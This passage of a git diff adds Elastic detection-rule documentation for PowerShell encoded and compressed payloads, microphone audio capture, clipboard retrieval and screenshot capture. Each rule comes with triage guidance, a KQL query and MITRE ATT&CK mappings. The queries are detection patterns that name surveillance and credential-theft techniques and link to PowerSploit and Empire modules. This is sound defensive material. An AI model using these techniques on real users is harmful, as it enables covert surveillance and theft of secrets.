https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Network Shared Drive +** ID: T1039 +** Reference URL: https://attack.mitre.org/techniques/T1039/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-payload-encoded-and-compressed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-payload-encoded-and-compressed.asciidoc new file mode 100644 index 0000000000..28edcf15d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-payload-encoded-and-compressed.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-powershell-suspicious-payload-encoded-and-compressed]] +=== PowerShell Suspicious Payload Encoded and Compressed + +Identifies PowerShell script block content that combines Base64 decoding with .NET decompression (Deflate/GZip). Attackers use this pattern to deobfuscate and reconstruct payloads in memory to evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Suspicious Payload Encoded and Compressed* + + + +*Possible investigation steps* + + +- After reconstructing all fragments, does the script block decode, decompress, and run a second stage? + - Why: split 4104 events can hide the payload boundary or execution call. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and reconstructed `powershell.file.script_block_text` on `host.id`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: collect same-`powershell.file.script_block_id` fragments on `host.id`, order by `powershell.sequence`, and verify count against `powershell.total` before interpreting code. + - Implication: escalate or keep suspicious when the full block decodes Base64, decompresses it with a .NET compression stream, then invokes the result; lower suspicion only when reconstructed content is inert static data, configuration, or installer resource with no execution path. + +- Was the script file-backed or fileless, and does the origin fit the user and host? + - Focus: origin first: `file.path` or absence, `file.name`, and `user.id` plus `host.id` for workflow scope. For file-backed scripts, compare same-origin script block events on the host. !{investigate{"description":"","label":"Script block events for the same file path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when `file.path` is absent or points to user-writable, temporary, mounted, or delivery-oriented locations inconsistent with the user and host; lower suspicion when the same path or fileless pattern belongs to a stable packaging, deployment, or updater workflow for the same `user.id` and `host.id`. + +- If endpoint process telemetry is available, how was the PowerShell instance launched? + - Why: script block events preserve code but not the command line or parent that explains delivery. + - Focus: recover the matching process via `host.id + process.pid`; then interpret `process.command_line` and `process.parent.command_line`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: start around `@timestamp`; expand if no start event appears because PowerShell may predate script-block logging. + - Implication: escalate when the launch chain starts from a browser, document process, scheduled task, remote-management tool, or user-writable script path that does not fit the user; lower suspicion only when command line and parent align with the exact benign packaging, deployment, or updater workflow. Missing endpoint process telemetry leaves launch context unresolved; continue with content, origin, decoded indicators, and scope. + +- What payload behavior is exposed by the reconstructed or decoded content? + - Focus: reconstructed `powershell.file.script_block_text` after Base64 and Deflate/GZip expansion, execution sinks, embedded indicators, and same-PID file plus network/DNS events for writes or retrieval. !{investigate{"description":"","label":"File events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when decoded content reaches Invoke-Expression, reflection, assembly load, payload writes, remote retrieval, or another encoded/compressed layer; lower suspicion when decoded content stays inert with no execution sink, staging write, or retrieval path. Missing network/DNS telemetry is unresolved, not benign. + +- If local evidence remains suspicious or incomplete, does the same wrapper or decoded indicator change scope? + - Focus: distinctive strings from `powershell.file.script_block_text`, recurring `file.path` or `file.name`, and related alerts for the same `user.id`. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is quiet or identity is incomplete, check related alerts for the same `host.id`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same Base64-plus-compression wrapper, decoded indicator, or file origin appears on unrelated hosts or accounts; keep scope local when confined to one exact benign automation cohort, but do not close solely because recurrence is absent. + +- Escalate when reconstruction, origin, launch context, decoded behavior, or scope points to staged execution. Close only when full reconstruction and same-host evidence prove one exact benign workflow, using records only when telemetry cannot prove legitimacy. If evidence is incomplete, preserve script fragments, decoded indicators, and recovered process evidence and escalate. + + +*False positive analysis* + + +- Software deployment and vendor updater scripts can legitimately embed Base64-compressed resources in PowerShell. Confirm only when reconstructed `powershell.file.script_block_text` is installer, updater, or administrative resource logic; `file.path` or stable fileless origin fits that workflow; and `user.id` plus `host.id` match scope. When endpoint process telemetry exists, recover through `host.id + process.pid` before using `process.command_line` or `process.parent.executable` as corroboration. Use records or inventories only when telemetry cannot prove it. +- Before creating an exception, validate that the telemetry-confirmed benign workflow is stable across prior alerts for the same scope. Anchor to `user.id`, `host.id`, stable `file.path` or stable fileless origin, and distinctive reconstructed script structure. Do not suppress on `powershell.file.script_block_entropy_bits`, `file.name`, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the evidence that explained the alert: reconstructed script purpose, validated `file.path` or stable fileless origin, `user.id`, `host.id`, and any recovered launch context. Create a narrow exception only after the same benign pattern recurs consistently. +- If suspicious but unconfirmed, preserve evidence first: the original and reconstructed `powershell.file.script_block_text`, all fragments grouped by `powershell.file.script_block_id`, decoded strings or indicators, `file.path` evidence, `user.id`, `host.id`, and recovered process context when available. Apply reversible containment such as heightened monitoring, temporary destination blocking for decoded indicators, or host isolation only if the host role can tolerate it, then escalate before deleting artifacts or resetting accounts. +- If confirmed malicious, preserve the same script, decoded indicator, origin, host, user, and recovered process evidence before destructive actions. Isolate the host if its role allows it, record the malicious PowerShell process context before termination when available, block confirmed malicious decoded domains, IPs, URLs, hashes, or payload paths, and review related hosts and users for the same indicators before removing scripts, binaries, scheduled tasks, registry persistence, or policy changes tied to the decoded payload. Reset credentials only when investigation shows account misuse or credential access beyond local execution. +- Post-incident hardening: retain PowerShell script-block logging and endpoint process telemetry needed for `host.id + process.pid` recovery, restrict PowerShell execution to trusted administrative paths where feasible, and document the confirmed benign workflow or malicious artifact set for future triage. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + +This rule uses the following fields that require the Windows Integration v3.3.0 and up: `powershell.file.script_block_entropy_bits`. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_entropy_bits >= 4.5 and + powershell.file.script_block_text : ( + ( + "System.IO.Compression.DeflateStream" or + "System.IO.Compression.GzipStream" or + "IO.Compression.DeflateStream" or + "IO.Compression.GzipStream" + ) and + FromBase64String + ) and + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compression +** ID: T1027.015 +** Reference URL: https://attack.mitre.org/techniques/T1027/015/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc new file mode 100644 index 0000000000..18acc77586 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-audio-capture-capabilities.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-powershell-suspicious-script-with-audio-capture-capabilities]] +=== PowerShell Suspicious Script with Audio Capture Capabilities + +Detects PowerShell script block content that invokes microphone capture routines or WinMM audio APIs. Adversaries may use audio recording to surveil users or capture sensitive conversations for theft or extortion. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-MicrophoneAudio.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Suspicious Script with Audio Capture Capabilities* + + + +*Possible investigation steps* + + +- Does the preserved script content show live microphone capture logic rather than inert reference text? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports concern when the content invokes recording routines, output paths, duration controls, or upload logic; carries less weight when the text is clearly inert example material, documentation, or recognized test content with no adjacent execution evidence. + +- Does reconstructing the full script reveal staging, timers, cleanup, or transfer behavior that changes urgency? + - Why: script block logging can split one script across multiple records; later fragments often reveal save locations, loop logic, or exfiltration. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed content for output paths, encoding steps, remote destinations, or cleanup logic. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports active collection when reconstruction shows repeated capture loops, hidden staging paths, compression, upload, persistence, or cleanup after collection. + +- Does the user-host pairing fit recognized accessibility testing, media tooling, or security assessment? + - Focus: the `user.id` and `host.id` pairing, whether the host role or asset classification supports microphone access, and any prior alert recurrence from this rule for the same pairing and launcher. + - Implication: escalate when the user has no recurring pattern of audio access, the host handles privileged or sensitive workflows, or the timing falls outside scheduled testing. + +- Can you recover the PowerShell process and explain how it was launched? + - Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file and network review bounded to the same host and alert time rather than assuming a wider process scope. + - Implication: supports concern when the recovered process is launched by a document, browser, chat client, scheduled task, remote session, or user-writable script path. + +- Do file events from the same process show recorded audio or staging artifacts? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.extension`, `file.Ext.header_bytes`, and `file.Ext.original.path` when media files or archives are renamed for staging. + - Implication: supports active collection when media files, deceptive extensions, archives, or renamed payloads appear in user-writable or hidden paths, or when written artifacts are later executed or uploaded. + +- Do network events show outbound transfer or second-stage behavior from the same process? + - Focus: network events for the same `process.entity_id`, separating `dns.question.name` / `dns.resolved_ip` from `destination.ip` / `destination.port`. + - Implication: suggests follow-on transfer when the same process or host reaches rare public destinations, cloud storage, or messaging services. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, do related alerts or repeated script-block activity suggest broader compromise? + - Focus: related alerts for the same `user.id` to find repeated collection, execution, or defense-evasion activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` and repeated preserved script substrings on this asset to look for persistence, repeated collection, follow-on staging, or renamed audio-capture variants. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: suggests broader compromise when either view shows collection, execution, defense-evasion, persistence, or transfer activity; stays localized when alerts are confined to the known script and host with no repeated collection or follow-on staging. + +- Escalate when script intent, launch context, artifacts, or network activity align on active collection; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Accessibility, QA, or red-team activity can legitimately trigger this rule. Confirm that the script content, writer identity, and host all belong to an authorized workflow. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on audio API strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the script content, recovered launch chain, user-host scope, and any benign file or destination pattern that proved the confirmed workflow. Create an exception only if the same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, related `file.path` artifacts, and any `dns.question.name` or `destination.ip` values linked to transfer. Apply reversible containment such as temporary destination blocking or session restrictions. Escalate to host isolation only when active collection or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host (preferred over process termination for initial containment when the asset can tolerate it), then block confirmed malicious destinations and scripts. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. If the captured audio may have exposed sensitive conversations or privileged sessions, initiate access review for the affected accounts. +- If recorded audio files or staging archives are identified, preserve them according to privacy and evidence-handling requirements. Review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Then remove the artifacts and any persistence or automation identified during reconstruction or host-scoping. +- After containment, restrict the execution path that allowed the script to run, such as tightening PowerShell execution policies or script-path allowlists. Retain PowerShell script block logging and related endpoint telemetry. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "Get-MicrophoneAudio" or + ("Get-AudioDevice" and "Recording" and "Set-AudioDevice") or + "WindowsAudioDevice-Powershell-Cmdlet" or + ( + "winmm.dll" and + ( + "waveInGetNumDevs" or "waveInOpen" or "waveInStart" or + "mciSendString" or "mciSendStringA" or "mciSendStringW" + ) + ) + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Audio Capture +** ID: T1123 +** Reference URL: https://attack.mitre.org/techniques/T1123/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Peripheral Device Discovery +** ID: T1120 +** Reference URL: https://attack.mitre.org/techniques/T1120/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-clipboard-retrieval-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-clipboard-retrieval-capabilities.asciidoc new file mode 100644 index 0000000000..27f2a23fd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-clipboard-retrieval-capabilities.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-powershell-suspicious-script-with-clipboard-retrieval-capabilities]] +=== PowerShell Suspicious Script with Clipboard Retrieval Capabilities + +Detects PowerShell script block content that retrieves clipboard data using Get-Clipboard or Windows clipboard APIs. Adversaries can collect copied credentials, tokens, or other sensitive data from the clipboard. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-clipboard +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-ClipboardContents.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Suspicious Script with Clipboard Retrieval Capabilities* + + +This alert indicates PowerShell script block content associated with clipboard access. The matched script may use the Get-Clipboard cmdlet or Windows clipboard APIs (for example, Windows.Forms.Clipboard or related UI components) to retrieve user-copied data. Clipboard collection is often opportunistic and may be used to capture credentials, tokens, and other sensitive information copied during normal workflows. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to understand the clipboard access technique and usage pattern: + - Get-Clipboard usage versus .NET/UI based access (for example, Windows.Forms.Clipboard, Windows.Clipboard, TextBox.Paste, or methods such as GetText). + - Whether clipboard access appears to be a one-time action or part of repeated/polled collection logic (for example, loops, timers, or repeated calls in the same script). +- Reconstruct the complete script when content is split across multiple events: + - Pivot on `powershell.file.script_block_id` and order related events by `powershell.sequence` to rebuild the full script up to `powershell.total`. + - Use `powershell.file.script_block_length` as context for unusually large scripts, which may indicate additional functionality beyond clipboard retrieval. +- Evaluate intent by reviewing surrounding logic in `powershell.file.script_block_text`: + - Where clipboard contents are stored (variables, arrays, buffers) and whether the script transforms data after retrieval (for example, encoding, compression, string manipulation, or obfuscation). + - Any indications of staging or transfer behavior following clipboard access (for example, writing data to disk or preparing network requests). +- Validate provenance and expected use: + - Use `user.name`, `user.domain`, and `user.id` to determine whether the execution context is expected to run PowerShell that interacts with the clipboard. + - Use `host.name` and `host.id` to determine whether the affected host is a typical endpoint for interactive clipboard use or an unusual target for clipboard collection. + - If `file.path`, `file.directory`, or `file.name` are present, assess whether the script source is expected for the user and host, and whether it is located in a user-writable or temporary location. +- Determine execution context and whether the activity is user-driven or automated: + - Correlate activity for the same `host.id` and `user.id` with process execution telemetry (if available) to identify the PowerShell host and its parent process, and whether execution was interactive or automated. + - If authentication telemetry is available, correlate nearby logon activity for the same user and host to identify newly established sessions or unusual remote access preceding the alert. +- Scope and prevalence: + - Search for other script block events with similar clipboard-related strings in `powershell.file.script_block_text` for the same `user.id` and `host.id`, and then across other hosts to identify reuse. + - Look for reuse of the same `file.name` or `file.path` across hosts, which can indicate shared tooling or broader distribution. +- Assess impact and potential exposure: + - If the script suggests repeated clipboard reads or immediate staging/transfer behavior, treat clipboard contents handled by the affected user on the host during the timeframe as potentially exposed and prioritize investigation accordingly. + + +*False positive analysis* + + +- Clipboard retrieval can be legitimate in user productivity scripts, developer/test utilities, and administrative automation that transforms or inserts copied content into other workflows. +- Benign activity is more likely when the script source (`file.path`/`file.name`) aligns with known internal tooling, the user context is expected, and the script block text shows clear user-facing intent without follow-on staging or transfer behavior. +- False positives are less likely when clipboard access is repeated or automated, appears on atypical hosts for interactive use, or is coupled with suspicious handling of the retrieved data (for example, encoding, buffering, or writing to unexpected locations). + + +*Response and remediation* + + +- If the activity is confirmed benign, document the script, expected users/hosts, and the business justification. Ensure the script source is maintained under change control to detect unauthorized modifications. +- If suspicious or malicious activity is suspected: + - Contain the affected host to prevent further collection and preserve evidence. + - Preserve relevant artifacts, including all related script block events for the `powershell.file.script_block_id` and any referenced script file from `file.path` (if present). + - Investigate for downstream handling of clipboard data (staging or transfer) using available endpoint, file, network, and authentication telemetry scoped to `host.id` and `user.id`. + - Assess potential credential or token exposure for the affected user and initiate credential hygiene actions appropriate to your environment. + - Remove or remediate the execution source (malicious scripts or unauthorized automation) and investigate for persistence mechanisms that could re-run the clipboard collection. + - Expand scoping by hunting for the same clipboard retrieval patterns in `powershell.file.script_block_text`, and for reuse of the same `file.name`/`file.path` across other hosts. + - Capture lessons learned and update monitoring and access controls to reduce future abuse of PowerShell-based collection techniques while preserving required operational use cases. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +( + ( + powershell.file.script_block_text : ( + "Windows.Clipboard" or + "Windows.Forms.Clipboard" or + "Windows.Forms.TextBox" + ) and + powershell.file.script_block_text : ( + "]::GetText" or + ".Paste()" + ) + ) or + powershell.file.script_block_text : "Get-Clipboard" +) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) and + not user.id : "S-1-5-18" and + not ( + file.path : *WindowsPowerShell\\Modules\\*.ps1 and + file.name : ("Convert-ExcelRangeToImage.ps1" or "Read-Clipboard.ps1") + ) and + not powershell.file.script_block_text : ( + "Set-Alias -Name \"gcb\" -Value \"Get-Clipboard\"" or + "[Windows.Clipboard]::SetText($colorizedText" or + "EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Clipboard Data +** ID: T1115 +** Reference URL: https://attack.mitre.org/techniques/T1115/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-screenshot-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-screenshot-capabilities.asciidoc new file mode 100644 index 0000000000..a597021522 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-suspicious-script-with-screenshot-capabilities.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-powershell-suspicious-script-with-screenshot-capabilities]] +=== PowerShell Suspicious Script with Screenshot Capabilities + +Detects PowerShell script block content that uses CopyFromScreen with .NET bitmap classes to capture screenshots. Attackers use screen capture to collect on-screen information and credentials. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Suspicious Script with Screenshot Capabilities* + + + +*Possible investigation steps* + + +- Does the alert-preserved script content indicate a bounded screenshot action or deliberate repeated screen collection? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports deliberate collection when the script loops, captures full desktops, or targets multiple monitors; weaker support when the content shows a single bounded capture tied to a recurring support or test action. + +- Does the reconstructed script add save, encode, archive, or transfer logic that changes risk? + - Why: script block logging can split one script across multiple records; later fragments often reveal output paths, encoding, or transfer logic. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed script body for output paths, image encoding, archive helpers, or remote destinations. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: staging becomes more likely when reconstruction shows image saves, compression, archiving, or transfer logic. + +- Can you recover the PowerShell process and explain how it was launched? + - 